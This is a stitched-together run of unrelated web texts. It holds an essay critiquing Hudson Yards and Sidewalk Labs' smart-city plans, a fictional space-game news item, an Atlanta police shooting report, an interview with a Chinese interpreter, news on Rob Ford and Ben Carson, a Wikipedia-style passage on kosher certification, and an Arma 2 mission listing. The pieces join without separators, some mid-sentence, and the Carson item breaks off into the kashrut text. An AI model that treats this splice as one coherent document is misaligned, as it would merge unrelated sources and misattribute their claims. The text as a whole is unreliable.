Let’s pause now to consider what we know about the community forming on the Far West Side. At 10 Hudson Yards, opening soon, tenants will include the luxury fashion retailer Coach, cosmetics company L’Oreal, digital marketers VaynerMedia, Boston Consulting Group, and the software and data analytics company SAP. Next year, a second tower opens at 55 Hudson Yards, designed by KPF/Kevin Roche; the first confirmed tenant is the law firm Boies, Schiller & Flexner. Opening in 2018 are a 70-story apartment building by DS+R/Rockwell Group and a retail center by Elkus Manfredi that will feature more than one hundred shops, including New York’s first Neiman Marcus store, and restaurants “curated” by celebrity chef Thomas Keller. By 2019, Culture Shed will begin hosting events. David Childs of Skidmore, Owings & Merrill will unveil a mixed-used building anchored by an Equinox hotel and fitness club. And KPF will open a 90-story tower with tenants who are moving from the Time Warner Center at Columbus Circle, including HBO, CNN, Oxford Properties, and Related Companies; as well as the investment bank Wells Fargo Securities and at least one private equity firm. The year 2020 will bring the highly symbolic “regime change” of a 62-story office tower replacing the McDonald’s at 34th Street and 10th Avenue. After that comes a second phase of development, at the Western Yards, which will emphasize residential use; among its seven apartment buildings and one public school, there is one office building.
This is a land of luxury and logistics, fitness and finance, marketing and media, couture and curation, fine-dining and data — all situated amidst abundant open space.
What does that tell us? This is a land of luxury and logistics, fitness and finance, marketing and media, couture and curation, fine-dining and data — all situated amidst abundant open space, including not only Public Square and Culture Shed, but also Hudson Park & Boulevard, a four-acre green space that will extend past the northern border up to 39th Street. While some early boosters imagined Hudson Yards as an annex of the Midtown business district, the current developers have a more specific image in mind: Silicon Alley West. Related’s agents have aggressively pursued tech start-ups, figuring that the resilient micro-grid and frontier location will be a draw. There is even interest in growing a full-time tech incubator on site.
Any day now, Sidewalk Labs — an urban innovation “accelerator” — will move into the 26th and 27th floors of 10 Hudson Yards. Perhaps they are already there. Right beside them will be Intersection, a Sidewalk subsidiary formed last year after the acquisition of Control Group, a tech and design firm, and Titan, an outdoor advertising company. Intersection has already made its presence felt around the city by transforming New York’s 8,000-plus payphones into “Links,” ad-supported pylons that feature super-fast WiFi, free calls, and charging stations. (Among the crucial questions for privacy and security: will the Links become nodes in the NYPD’s Domain Awareness System?)
Sidewalk Labs, remember, has a deep connection to the once-unprogrammable terrain of the Far West Side. Chief executive Daniel Doctoroff is the Bloomberg ally who recoded the territory as Hudson Yards. Given the neighborhood’s many evolutionary phases, whose histories are carved into the landscape here, it is fitting that Sidewalk now positions itself as an ambassador of the new infrastructural age. The company tells its own version of urban history: After the steam revolution, the electricity revolution, and the automobile revolution, all of which made their marks here, comes a digital revolution characterized by “ubiquitous connectivity, sensors, location-based services, social networks, advanced computing power, the ability to analyze data, and new design and fabrication technologies like 3-D printing and robotics” that promise to “solve” our pressing urban problems, to promote efficiency and adaptability, to build urban community and “give people a greater sense of personalization.” Is that what we’ve been missing all this time? A greater sense of personalization?
Sidewalk Labs aims to bridge the gap that typically divides urbanists and technologists, embracing a set of principles and urban imaginaries that extend beyond the Bloomberg consensus.
While established smart-city players like Cisco and IBM peddle top-down, master-planned solutions, Sidewalk Labs presents itself as a fresh alternative, offering “platforms” (there’s that ubiquitous, seemingly innocuous metaphor) that users can “plug into.” Undergirding those platforms is the entire Alphabet apparatus: the “largest pool of capital in the world focused on urban innovation”; a “deep knowledge” of how cities work, informed by the company’s vast store of urban data, particularly regarding urban mobility; a commitment to privacy and “world-class security”; the leaders’ “trust-based” relationships with city governments and major companies; and their confidence to work “with, through, and sometimes around existing institutions and regulatory structures” in order to bring its products to market (italics mine). That foundation — rivaling the Yards’s two massive platforms in the concentration of funding, deal-making, and engineering required for its construction — equips Alphabet and Sidewalk Labs to “build, deploy, and service any digital technology in the physical world,” which they can then test “at scale” and offer on a subscription, fee, or commission model to private parties or governments anywhere. Are you worried yet? Or thrilled?
Such a wealth of resources, and such hubris, might imply a narrowly technocratic approach to urban betterment, but Sidewalk Labs aims to bridge the gap that typically divides urbanists and technologists (a chestnut roasted often in company presentations). It embraces a set of principles and urban imaginaries that overlap with and extend beyond the Bloomberg consensus. While Sidewalk, like Bloomberg, recognizes cities as “engines of opportunity” and actively seeks “business opportunities,” it also, like CUSP, asserts that cities are ultimately “about people,” and that cities must adapt to the needs (and behaviors) of their citizens. Further, Sidewalk explicitly addresses the ethical dimensions of urban living and urban design. Its website highlights the importance of fostering interactions, planned and spontaneous, among urban citizens; cultivating shared values and promoting equity, inclusion, and diversity; and accepting the critical responsibility to facilitate “coordination without control.” That last bullet is especially tricky in this new world of ubiquitous surveillance and algorithmic governance. Doctoroff has spoken about the need to “keep the virtuous cycle going” (remember: don’t be evil; do the right thing!) — to “maintain quality of life, protect our privacy, keep us safe, and address equity” — while still maximizing profit.
Although committed to a code of ethics that emphasizes local concerns and citizen empowerment, Sidewalk Labs aims big. Working at an ambitious scale enables the team to model the interrelationships among seemingly disparate urban challenges. For example: “the availability of transportation affects where people choose to live, which affects housing prices, which affects quality of life.” Data-capture and pattern-spotting show potentially “actionable” correlations. Solving problems is then a matter of building the right relationships with partners and stakeholders, and developing the right technologies.
What urban realities could those technologies effect? Sidewalk talks in the present tense, as if the goals have already been realized:
Modern, affordable housing is enabled by performance-based code, advanced materials, and new and ownership models. Digital mobility systems can manage limited road space to improve transportation equity and air quality. Personalized social services can deliver measurable health outcomes while maintaining individual privacy. Distributed energy management uses new business models, renewable energy, and smarter storage to improve sustainability.
After Doctoroff’s own battles with zoning and building codes, it’s no surprise that he emphasizes the potential of performance-based codes. “In a world in which we can monitor things like noise or vibrations,” he wonders, “why do we need to have these very prescriptive building codes that only change once every several decades? It inhibits the transfer of land so we end up having very restrictive uses.” He holds that owners and residents should be allowed to behave as they please in their apartments and neighborhoods, so long as they don’t exceed certain thresholds, and that a regulatory system built on sensors and automatic monitoring would produce more vibrant, mixed-use neighborhoods and “enhance the free flow of property, which lowers costs.” Of course, such models presume that the key variables that codes and zoning are designed to regulate — people’s health, safety, and welfare; property value, orderly development, and community character — are objectively measurable and enforceable. “Neighborly” behavior has a number.
Such models presume that the key variables that codes and zoning are designed to regulate are objectively measurable and enforceable. ‘Neighborly’ behavior has a number.
And given Alphabet’s investment in self-driving cars, it’s no surprise, either, that Doctoroff is focusing on urban transportation. Last month, the Department of Transportation announced that the seven finalist cities in its $40-million Smart City Challenge will partner with Sidewalk Labs to develop a traffic management system called Flow, which will use anonymized data from mobile apps like Google Maps and Waze, along with sensors on the street and eventually (we can assume) in Alphabet’s cars, to help commuters and city governments monitor and manage traffic patterns. Flow will spot areas and sources of congestion, model the impact of altered or expanded transit routes, coordinate ride shares, and perhaps even identify zones underserved by public transit. Link-style kiosks will feed data into the system, directing drivers to available parking, recommending detours around traffic jams, and routing self-driving cars through the streets. The kiosks may someday serve as “digital stethoscopes,” monitoring flows of people, commercial activity, and garbage removal, and perhaps inciting service or policy changes; and as notice boards, flagging table openings at neighborhood restaurants or warning of service delays at the nearest subway. “We’ll be doing Developer Days, making APIs,” said Intersection’s chief innovation officer. The city as platform, finally realized.
The winning city, to be announced in June, will get not only a DOT grant but also a “license” to Flow and 100 free kiosks. The result: an ingenious vertically-integrated system, with Alphabet managing city streets from A to Z — from individual automobiles and commuters’ navigational systems to transit informatics and the hardware that enables data-capture and transfer. The only commuters out of the loop (and off the map) will be those who aren’t plugged into Alphabet’s platforms and products. At Hudson Yards, the street design will make it clear who the intended users are. Justin Davidson surmises that street activity will be managed via drop-off lanes, “so the limos are taken care of.” But how to manage the shopping-cart pushers and skateboarders and fellow misbehavers? Sidewalk Labs did not respond to my inquiries.
The Instrumental City
If you happen to be in New York next month, stop and look up at the new building straddling the High Line. Whatever’s brewing on the 27th and 28th floors, it’s going to be big. Sidewalk’s new leadership, announced in February, includes former heads of key divisions at Google — maps, shopping, machine intelligence — as well as Bloomberg allies with deep experience in planning and development. Joining Doctoroff in the C-suite are Rit Aggarwala, who designed Bloomberg’s PlaNYC sustainability program, and Josh Sirefman, who helped build Cornell Tech on Roosevelt Island. The company is hiring machine vision and simulation experts as well as “city leads” focused on municipal processes like health and human services, public safety, and criminal justice. Presumably, these are the urban sectors it aims to optimize. As recently as last month, Sidewalk Labs was also recruiting a “product lead” for “citizen experiences.”
These-modern day Haussmenn have tamed their western frontier, sunk mounds of capital into a buried rail bed, finessed the zoning at the Department of Buildings, and now intend to use their new weapon — data — to revolutionize the old urban regime.
When Doctoroff, surrounded by his old Bloomberg compatriots and new Alphabet colleagues, looks down upon the construction at Hudson Yards, he must feel that his Olympic dreams, long deferred, have been fulfilled — recast, rebranded for our new age of algorithmic ambition. The developers and financiers and data-managers will behold the same scene. These-modern day Haussmenn have tamed their western frontier, sunk mounds of capital into a buried rail bed, finessed the zoning at the Department of Buildings, and now intend to use their new weapon — data — to revolutionize the old urban regime. They’ll remake the infrastructures that have been entangled at the Yards; they’ll overlay a new topology of circuits and data flows atop the train tracks and tunnels. These Great Men — this is a latter-day Power Broker story, after all — will have successfully united New York’s powers in finance, real estate, design, marketing, engineering, technology, and now data science to construct a floating empire that blends all the urban age discourses: triumphalism, sustainability, technoscientism. They’ll behold the city “fully instrumented” — and instrumentalized, as an engine of data and profit.
And fantasy. From the observation deck atop 30 Hudson Yards, projected to be the highest in the city, residents and visitors will look out upon a dream made manifest: a clean, efficient urban machine; a carefully curated cultural experience; a Keller-fed, Equinox-toned, Coach-clad populace; a sustainable urban ecosystem; a harmonious community that behaves in accordance with the rules; a city that plays by the numbers. Here, those modern theories of behaviorism, dear Professor Arendt, will have “become true.”23 JUN 3301
The Science of a Safer Society
Thousands of Pegasi sector civilians were forced to evacuate their homes last week, following a series of brutal raids carried out in the name of Archon Delaine.
Some resilient residents have attempted to reach out to the Federation and Empire homeworlds for assistance, but so far, their pleas for help have gone unanswered. This leaves the question on everyone’s lips: who will stop the Kumo Crew?
Local business magnate, Pranav Antal, believes that his Utopians may well be able to provide an answer.
“Their greed, their jealousy… these are the things that drive the Kumo to try to own, control and destroy everything they see.”
“This desire for base things has led the crew down a dark path, one which has caused much pain for the people of Pegasi. We at Utopia understand their sorrow, their troubles, and we want to help.”
“Agents of Utopia are seeking to open a new commune in Hip 116213. Once approved, our engineers will begin the dangerous process of establishing an enlightened defence against the uncivilised horde.”A police officer shot multiple times while working a security job continues to recover from his injuries, Atlanta police said Tuesday. Now, police are asking for the public’s help to find the person responsible.
Crime Stoppers Atlanta has increased its reward to $5,000 for information regarding the shooter accused of ambushing Officer Christopher Smith, according to Capt. Paul Guerrucci with Atlanta police. Police hope the reward will lead them to the shooter.
Smith was working an off-duty security job at the Edgewood Court Apartments on Hardee Street late Saturday when he was shot, according to police.
“We do believe that the weapon used was a shotgun,” Guerrucci said.
Smith was transported to Grady Memorial Hospital, where he was treated and released Sunday. The shooting remains under investigation, police said Tuesday.
Anyone with information on the case is asked to contact Atlanta police or Crime Stoppers at 404-577-8477.Liu Pei is a freelance interpreter in her second year of postgraduate studies at Sichuan University. Liu, who also goes by Paige, started interpreting as an undergraduate upon the recommendation of professors, first undergoing rigorous training to take part in national interpretation competitions, and then starting professional work. We were first awestruck by her simultaneous-interpretation performance at the Bookworm Intaernational Literary Festival earlier this year where she very well near stole the show. When we spotted her again at the Tony Cragg exhibit talk, we asked if she'd be willing to be interviewed. She's never been abroad, and that was only one of many interesting tidbits we learned when we sat down with her for a chat.
What is your background with English?
We started learning English in junior high school, but I think it was the moment I entered university when I really started to learn English. Because my major is English and American literature so we have to learn the culture behind the language. My parents speak no English. I think my father can speak Mandarin because he used to be in the army. But my mother, not even Mandarin.
But plenty of others have had similar educational background. How did you achieve such a high level in your field?
Before every contest—I participated in three major contests on the national level—we will have two to three months of intensive training. So every day you go to the teacher and stand in front of her for two hours, three hours, or even four or five hours. She seldom gives any compliment so it's really frustrating. I still remember that one day I cried after the training because it was so difficult.
It's not easy to stand in front of so many people and speak English or Chinese in such a composed way because you get nervous, so you have to train and train and train. There's no shortcut. You have to recite a lot of things, vocabulary, expressions, topics. What people see is the best that you present to them. But what they cannot see is the worst moments that you have mentally and physically behind the stage during the training.
How far did you get in the contests?
I think second place in the national round. Including Taiwan, I think I was sixth. In the top six students, we have three from Taiwan and three from mainland China, two from Sichuan University and one from University of Diplomacy in Beijing.
In the final round of one of the contests, it was a dialogue interpreting and there was a word, boomerang. You don't really see boomerangs in China, so it's a really strange word for us. So I didn't know what it meant, and I didn't interpret it. In our training most of the topics are about economy, politics, military, and environmental protection.
What do you do when you have no idea what's been said?
I think there are two ways to deal with this. The first is if you think that piece of information is really important, you will have to ask the speaker to either say it again, or he can explain it in simple language. And the second way is to, "mofu chuli," try to find a way to get around it by touching upon the overall meaning.
In training you have to force yourself to listen to really long and complicated sentences. Like the speech by state leaders. In Chinese the leaders don't have any subject in their sentences. They start with "'Should' do something" or "' 'Do' something is very important." So once you can listen to these, other speakers seem easy.
Do you really understand every subject matter you're translating? For instance, at the Tony Cragg talk, when he was talking about abstract ideas about art.
Well I cannot say that I understand exactly what his meaning is but I try to find the logic, the lines, the clues in his speech. I'm not an expert in sculpture, but on that day his audience comes from different walks of life so the way he speaks is easy to understand comparatively speaking. If there were some experts there of course it would be more difficult. But still there were some points I missed. For example there was a phrase "arte povera." I didn't know that word, so I just said it's a "movement about art." In Chinese it should be 贫穷艺术运动/pinqiong yishu yundong," "poor art movement." But at that time I didn't know what it was.
How does interpretation pay?
In southwest China, I'd say the average pay is less than half of the average pay in coastal cities. For simultaneous interpreting one day, maybe 5,000 or 6,000, that would be very high here. In Beijing, Shanghai, for very good interpreters it would be maybe more than 10,000 per day. Maybe you have one interpreting job one month or even two months, or even three months or half a year.
Has anything funny or embarrassing ever happened during an interpretation?.
Oh, absolutely! I interpreted for an AIDS seminar. They talked about different ways of having sex and organs, and at one point this Chinese professor from Sichuan University, Huaxi campus, he got really excited when he was talking to the participants, and at one point he suddenly turned back to me and asked, "How do you say 'penis' in English!?" He was talking in English but he was kind of a show-off person. The exact way he said it [in Chinese to me] was, "'Penis,' 'penis'—how do you say it in English?" I was really embarrassed!
Did you have to say it into the microphone?
Of course into the microphone! I said, "Oh, 'penis.'" My face turned red. Also at one point the participant from Africa said, "Well, I think lesbians are also at high risk in terms of AIDS infection because if we look at the ways they have sex, and at one point he said "finger fucking."
Who are the rock stars of the interpreting world?
If you look at the top interpreters you have Lin Chaolun in Britain. He's very tall, unlike the usual interpreters. Many male interpreters are not so good-looking. He's kind of like the star interpreter in this field. And another famous interpreter is the interpreters for Chinese leaders like for Chairman Mao. Also for President Hu, he has an interpreter whose name is Fei Shenchao. If you want to interpret for the president of course you have to be very good. He is not very outstanding in terms of appearance but his voice is very good, very pleasant and comforting. And also there's another famous interpreter who interprets for Premier Wen. Her name is Zhang Lv. Part of the reason she is famous is because she interprets for Premier Wen. Another part I think is because she's beautiful. In interpreting community if you are good looking it's easy for you to be famous.
Are there any foreigners who can interpret on a high level?
They're all Chinese. I know in Britain, in United States, you also have Chinese interpreting for the leaders, but in China we only have Chinese interpreting for leaders.
What about bilinguals?
Bilinguals speak in a more natural way because they are brought up in a bilingual environment. When they listen they are not listening for words but meaning behind the words. But many haven't received professional training in interpreting. When you are bilingual, you have a very good foundation, a prerequisite for becoming an interpreter because you know the differences in culture. But even if you are brought up bilingual you still have a lot of things to learn.
Did you ever have to translate something rude?
In business mansion talks, if you are interpreting for two parties, sometimes one side will get angry. I think at this moment the interpreter will try to ease the tension. So you find a way to be polite but still convey the meaning. [One time, I was interpreting for] a welcoming banquet and [one of the foreign guests] from the consulate or embassy of a country—not a very senior official, just one of the staff—was not given the VIP treatment, and he was really angry. I think he shouted at the staff on the Chinese side and then at dinner the government official asked me to tell him "We would never give ordinary staff VIP treatment so if you think you cannot accept this, you can go back to your embassy!" What I interpreted was, "Actually, we have our ways of dealing with foreign guests so we only provide VIP treatment to senior officials like consular generals and people so we hope you can understand it's our way, it's our procedure, and we cannot change this," and then he understands. It's really embarrassing if you say something rude, like "You can go back to your embassy."
The Note-Taking System
How do interpreters remember what they're supposed to say? They have a systematic method for taking notes in shorthand that involves both languages and symbols, some standard and some of their own invention. Paige showed us an example where a circle represented "country," a circle drawn above a line meant "developed country," and a circle below a line meant "developing country." Interpreters in training study books that offer suggested symbols and then pick and choose from them. "The arrangement of your notes on the paper is also very important," Paige explained. "You have to make it clear because you don't really have so much time to really look at all your notes and see what kind of meaning it is. So you have to do the logic at the same time as you are taking notes. I think many beginners focus too much on their notes—when they hear a word they will think what kind of symbol should I use but then miss the following part and fail to understand what the speaker is talking about." And what about when the sentence structure between the two languages is completely reversed? There's a trick for that, too, Paige said. "Some interpreters, they think really quick, so what they do is to reverse the order in their notes. For example if they find that maybe this part when it's translated from English to Chinese it should be said first so when they are doing the note-taking they will put the notes in the front. [But others] take notes according to the order of the original language and try to reverse the order when they are looking at their notes and speaking at the same time."
In need of interpretation services? Paige can be contacted at liupei3030[AT]163[DOT]com.
This article was first published in CHENGDOO citylife Magazine, issue 58 ("how to"). Photos by Dan SandovalToronto’s embattled mayor Rob Ford tore into the city council on Monday night as the city continues to strip him of his powers following Ford admitting to repeatedly smoking crack cocaine. Ford blasted the city council, saying that they had acted like Saddam Hussein’s Iraq and had declared war on him by figuratively attacking his Kuwait.
“This, folks, reminds me of when, when I was watching with my brother, when Saddam attacked Kuwait,” Ford began. “And President [George H. W.] Bush said, ‘I warn you, I warn you, I warn you, do not.’”
“Well, folks, if you think American-style politics is nasty, you guys have just attacked Kuwait,” Ford continued to the laughs of the city council. “Mark my words, this is going to be outright war in the next election.”
RELATED: Rob Ford Says He’s Seeking Professional Help, Pledges to Fight for Reelection
“What you’re doing to me is kicking me out of my office, and it’s the worst thing you can do,” Ford concluded while he was repeatedly told his time to speak was up. “And it is absolutely the worst thing you can do for democracy and the city of Toronto. What goes around comes around, friends.”
Watch the clip below via CNN:
[Photo via screen grab ]
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> >Follow Noah Rothman (@NoahCRothman) on Twitter
Have a tip we should know? tips@mediaite.comThe Senate wasn’t the only political player bracing for a party switch on Tuesday.
Ben Carson, the pediatric neurosurgeon turned conservative sensation after he confronted President Obama at a prayer breakfast last year, used Election Day to officially change his party affiliation from independent back to Republican, moving yet another step closer to a possible 2016 presidential run.
Mr. Carson, who grew up poor in Detroit and rose to success as a doctor at Johns Hopkins University Hospital in Maryland, made the paperwork change in his new home state of Florida. He filed the paperwork in Palm Beach County.
“It’s truly a pragmatic move because I have to run in one party or another. If you run as an independent, you only risk splitting the electorate,” Mr. Carson told The Washington Times in an interview Tuesday night shortly after making the change. “I clearly would not be welcome in the Democratic Party, and so that only leaves one party.
“Fortunately, the fit is pretty good,” he added. “I believe in reasonable sized government. I believe in personal responsibility. I believe in individual freedom. And I believe in creating an environment to let free markets grow our economy. And all of that is very consistent with being a Republican.”
Mr. Carson said he grew up a Democrat but switched his party affiliation to Republican in the 1980s after listening to Ronald Reagan.
“Like most Democrats who were black I was told most Republicans were evil |
unless managed carefully is forbidden as a violation of the Shmita (Sabbatical Year). Some rules of kashrut are subject to different rabbinical opinions. For example, many hold that the rule against eating chadash (new grain) before the 16th of the month Nisan does not apply outside the Land of Israel.[69]
Vegetables [ edit ]
Many vegetarian restaurants and producers of vegetarian foods acquire a hechsher, certifying that a Rabbinical organization has approved their products as being kosher. The hechsher usually certifies that certain vegetables have been checked for insect infestation and steps have been taken to ensure that cooked food meets the requirements of bishul Yisrael.[70] Vegetables such as spinach and cauliflower must be checked for insect infestation. The proper procedure for inspecting and cleaning varies by species, growing conditions, and views of individual rabbis.[71]
Pareve foods [ edit ]
A Pareve (or Parve) food is one which is neither meat nor dairy. Fish fall into this category, as well as any food which is not animal-derived.
Eggs are also considered pareve despite being an animal product.[72]
Some processes convert a meat or dairy derived product into a pareve one. For example, rennet is sometimes made from stomach linings, yet is acceptable for making kosher cheese.[73] Gelatins derived from kosher animal sources (which were ritually slaughtered) are also pareve.[74] Other gelatin-like products from non-animal sources such as agar agar and carrageenan are pareve by nature. Fish gelatin, like all kosher fish products, is pareve.
Jewish law generally requires that bread be kept parve (i.e., not kneaded with meat or dairy products, or made on meat or dairy equipment).[75]
Kashrut has procedures by which equipment can be cleaned of its previous non-kosher or meat/dairy use, but those may be inadequate for vegetarians, those with allergies, or adherents to other religious statutes. For example, dairy manufacturing equipment can be cleaned well enough that the rabbis grant pareve status to products manufactured with it but someone with a strong allergic sensitivity to dairy products might still react to the dairy residue. That is why some products that are legitimately pareve carry "milk" warnings.[76]
Cannabis [ edit ]
If smoked, under normal circumstances there is no reason cannabis (marijuana) would not be kosher, although some rabbis apply this only to medical cannabis, not recreational usage. However, this is excepting that smoking it typically involves lighting a spark, so it would not be appropriate for example after sundown on Shabbat. If cannabis is "eaten", as cannabis edibles are, on the other hand, the issue is not as clear cut, as there may be small insects inside which are not kosher. For the observant it is recommended to only use brands that are certified as kosher. For cannabis grown in Israel, the plants must observe shmittah, but this does not apply to cannabis from elsewhere.[77]
Tobacco [ edit ]
Though it is not a food product, some tobacco receives a year long Kosher certification. This year long certification means that the tobacco is certified also for Passover where different restrictions may be in place. Tobacco may, for example, come into contact with some chametz grains that are strictly forbidden during passover and the certification is a guarantee that it is free from this type of contamination. In Israel this certification is given by a private kashrut rabbinic group Beit Yosef, but Chief Rabbinate has objected to granting of any certification by rabbis because of health risks from tobacco.[78]
Genetically modified foods [ edit ]
With the advent of genetic engineering, a whole new type of food has been brought into the world, and scholars in both academia and Judaic faith have differing viewpoints on whether these new strains of foods are to be considered kosher or not. The first genetically modified animal approved by the FDA for human consumption is the AquAdvantage salmon, and while salmon is normally an acceptably kosher food, this modified organism has a gene from a nonkosher organism.
Some put forth that this intermixing of species is against the teachings of the Talmud and thus against Jewish Law and nonkosher. Others argue that the one in sixty parts law of kashrut is of significance,[clarification needed] and that the foreign gene accounts for the less than 1/60 of the animal and thus the modified salmon is kosher.[79][page needed]
Supervision and marketing [ edit ]
Hashgacha [ edit ]
cocoon found among barleycorns in a commercially available bag of barley. Foods such as seeds nuts and vegetables need to be checked to avoid eating insects.
Certain foods must be prepared in whole or in part by Jews. This includes grape wine,[80] certain cooked foods (bishul akum),[81] cheese (g'vinat akum), and according to some also butter (chem'at akum);[82] dairy products (Hebrew: חלב ישראל chalav Yisrael "milk of Israel");[82][83] and bread (Pas Yisroel).[84]
Product labeling standards [ edit ]
The circled U indicates that this product is certified as kosher by the Orthodox Union (OU). The word "pareve" indicates that this product contains neither milk- nor meat-derived ingredients
Although reading the label of food products can identify obviously non-kosher ingredients, some countries allow manufacturers to omit identification of certain ingredients. Such "hidden" ingredients may include lubricants and flavorings, among other additives; in some cases, for instance, the use of natural flavorings, these ingredients are more likely to be derived from non-kosher substances.[85] Furthermore, certain products, such as fish, have a high rate of mislabeling, which may result in a non-kosher fish being sold in a package labeled as a species of kosher fish.[86]
Producers of foods and food additives can contact Jewish religious authorities to have their products certified as kosher: this involves a visit to the manufacturing facilities by an individual rabbi or a committee from a rabbinic organization, who will inspect the production methods and contents, and if everything is sufficiently kosher a certificate would be issued.[87]
Manufacturers sometimes identify the products that have received such certification by adding particular graphical symbols to the label. These symbols are known in Judaism as hechsherim.[88] Due to differences in kashrut standards held by different organizations, the hechsheirim of certain Jewish authorities may at times be considered invalid by other Jewish authorities.[89] The certification marks of the various rabbis and organisations are too numerous to list, but one of the most commonly used in the United States of America is that of the Union of Orthodox Congregations, who use a U inside a circle ("O-U"), symbolising the initials of Orthodox Union. In Britain, a commonly used symbol is the "KLBD" logo of the London Beth Din.[citation needed] A single K is sometimes used as a symbol for kosher, but since many countries do not allow letters to be trademarked (the method by which other symbols are protected from misuse), it only indicates that the company producing the product claims that it is kosher.[90]
Many of the certification symbols are accompanied by additional letters or words to indicate the category of the product, according to Jewish law;[90] the categorisation may conflict with legal classifications, especially in the case of food that Jewish law regards as dairy, but legal classification does not.
D—Dairy
DE—Dairy equipment
M— Meat, including poultry
, including poultry Pareve—Food that is neither meat nor dairy
Fish
P—Passover-related (P is not used for Pareve)
In many cases constant supervision is required because, for various reasons, such as changes in manufacturing processes, products that once were kosher may cease to be so. For example, a kosher lubricating oil may be replaced by one containing tallow, which many rabbinic authorities view as non-kosher. Such changes are often coordinated with the supervising rabbi, or supervising organization, to ensure that new packaging does not suggest any hechsher or kashrut. In some cases, however, existing stocks of pre-printed labels with the hechsher may continue to be used on the now non-kosher product. An active grapevine among the Jewish community discusses which products are now questionable, as well as products which have become kosher but whose labels have yet to carry the hechsher. Some newspapers and periodicals also discuss kashrut products.[91]
Products labeled kosher-style are non-kosher products that have characteristics of kosher foods, such as all-beef hot dogs,[92] or are flavored or prepared in a manner consistent with Ashkenazi practices, like dill pickles.[93] The designation usually refers to delicatessen items.
History of kosher supervision and marketing [ edit ]
Food producers often look to expand their markets or marketing potential, and offering kosher food has become a way to do that. The uniqueness of kosher food was advertised as early as 1849.[94] In 1911 Procter & Gamble became the first company to advertise one of their products, Crisco, as kosher.[95] Over the next two decades, companies such as Lender's Bagels, Maxwell House, Manischewitz, and Empire evolved and gave the kosher market more shelf-space. In the 1960s, Hebrew National hotdogs launched a "we answer to a higher authority" campaign to appeal to Jews and non-Jews alike. From that point on, "kosher" became a symbol for both quality and value. The kosher market quickly expanded, and with it more opportunities for kosher products. Menachem Lubinsky, founder of the Kosherfest trade fair, estimates as many as 14 million kosher consumers and $40 billion in sales of kosher products in the USA.[96]
In 2014 the Israeli Defense Forces decided to allow female kosher supervisors to work in its kitchens on military bases, and the first women kosher inspectors were certified in Israel.[97][98]
Legal usage [ edit ]
Advertising standards laws in many[quantify] jurisdictions prohibit the use of the phrase kosher in a product's labeling unless the producer can show that the product conforms to Jewish dietary laws; however, different jurisdictions often define the legal qualifications for conforming to Jewish dietary laws differently. For example, in some places the law may require that a rabbi certify the kashrut nature, in others the rules of kosher are fully defined in law, and in others still it is sufficient that the manufacturer only believes that the product complies with Jewish dietary regulations. In several cases, laws restricting the use of the term kosher have later been determined to be illegal religious interference.[99]
Costs [ edit ]
In the United States, the cost of certification for mass-produced items is typically minuscule,[100][101] and is usually more than offset by the advantages of being certified.[101] In 1975 The New York Times estimated the cost per item for obtaining kosher certification at 6.5 millionths of a cent ($0.000000065) per item for a General Foods frozen-food item.[102] According to a 2005 report by Burns & McDonnell, most US national certifying agencies are non-profit, only charging for supervision and on-site work, for which the on-site supervisor "typically makes less per visit than an auto mechanic does per hour". However, re-engineering an existing manufacturing process can be costly.[103] Certification usually leads to increased revenues by opening up additional markets to Jews who keep kosher, Muslims who keep halal, Seventh-day Adventists who keep the main laws of Kosher Diet, vegetarians, and the lactose-intolerant who wish to avoid dairy products (products that are reliably certified as pareve meet this criterion).[102][104][105][106] According to the Orthodox Union, one of the largest kashrut organizations in the United States, "when positioned next to a competing non-kosher brand, a kosher product will do better by 20%".[107]
In some European communities there is a special tax imposed[by whom?] on the purchase of kosher meat to help support the community's educational institutions.[dubious – discuss][108] In 2009 delegates at a meeting of the Rabbinical Council of Europe broadly agreed that the tax which supports the rabbinate, mikvo’os and other communal facilities should be reduced. "While the supermarket Tesco sells a whole chicken for £2, its kosher counterpart of similar weight costs five to six times more."[109]
Society and culture [ edit ]
Adherence [ edit ]
A 2013 survey found that 22% of American Jews surveyed claimed to keep kosher in the home.[110] Many Jews observe kashrut partially, by abstaining from pork or shellfish, or by not drinking milk with a meat dish. Some keep kosher at home but will eat in a non-kosher restaurant. In 2012, one analysis of the specialty food market in North America estimated that only 15% of kosher consumers were Jewish.[111] Muslims, Hindus, and people with allergies to dairy foods often consider the kosher-pareve designation as an assurance that a food contains no animal-derived ingredients, including milk and all of its derivatives.[112] However, since kosher-pareve foods may contain honey, eggs, or fish, strict vegetarians cannot rely on the certification.[113][114]
Linguistics [ edit ]
In Ancient Hebrew the word kosher (Hebrew: כשר) means be advantageous, proper, suitable, or succeed[115] according to the Brown-Driver-Briggs Hebrew and English Lexicon. In Modern Hebrew it generally refers to kashrut, but it can also sometimes mean "proper". For example, the Babylonian Talmud uses kosher in the sense of "virtuous" when referring to Darius I as a "kosher king"; Darius, a Persian king (reigned 522-486 BCE), fostered the building of the Second Temple.[116] In colloquial English, kosher often means "legitimate", "acceptable", "permissible", "genuine", or "authentic".[117][118][118][119]
The word kosher can form part of some common product names. Sometimes it is used as an abbreviation of koshering, meaning the process for making something kosher; for example, kosher salt is a form of salt with irregularly shaped crystals, making it particularly suitable for preparing meat according to the rules of kashrut, because the increased surface area of the crystals absorbs blood more effectively.[120] At other times kosher can occur as a synonym for Jewish tradition; for example, a kosher dill pickle is simply a pickle made in the traditional manner of Jewish New York City pickle-makers, using a generous addition of garlic to the brine, and is not necessarily compliant with the traditional Jewish food laws.[121][119]
See also [ edit ]
Dietary laws in Judaism:
Dietary laws in other religions:
References [ edit ]
Further reading [ edit ]Downloads / Operation Arrowhead / Scenario / Co-op missions / Dynamic Zombie Sandbox
Author: bobtom
Author Website:
Requirements: Arma 2
Island(s): Chernarus
Playable options: N/A
Version: 1.25
Arma 2ChernarusN/A1.25 Date: 2012-09-14 09:03
Comments:
Rating: 1 2 3 4 5 6 7 8 9 10 2012-09-14 09:03
Dynamic Zombie Sandbox by
Craig/bobtom byCraig/bobtom
Description:
This mission was made to accomplish a couple things I wanted to see in zombie missions. The first being island independence. You can change the.chernarus on the pbo file to any other island and the mission will work. The only thing on the map is the playable characters. Everything else is generated via scripts.
Along with map independence I wanted as much randomness as possible. The player will be spawned at a random town or position on the map. Vehicles spawn next to buildings with random vehicle types with random weapons inside. Military vehicles spawn by military buildings, civilian with civilian. The players weapon, if he chooses to start with one, will be randomly chosen also. A lot of things are also choose-able in the parameters screen.
This comes in 3 versions: CO version (Flagship version): Requires patch 1.62 of ArmA 2 Combined Operations. No other mods/addons required.
OA version: Requires patch 1.60 of ArmA 2 Operation Arrowhead. No other mods/addons required
A2 version: Requires patch 1.10 of ArmA 2 or ArmA 2 Free. No other mods/addons required
Parameter options:
Terrain detail
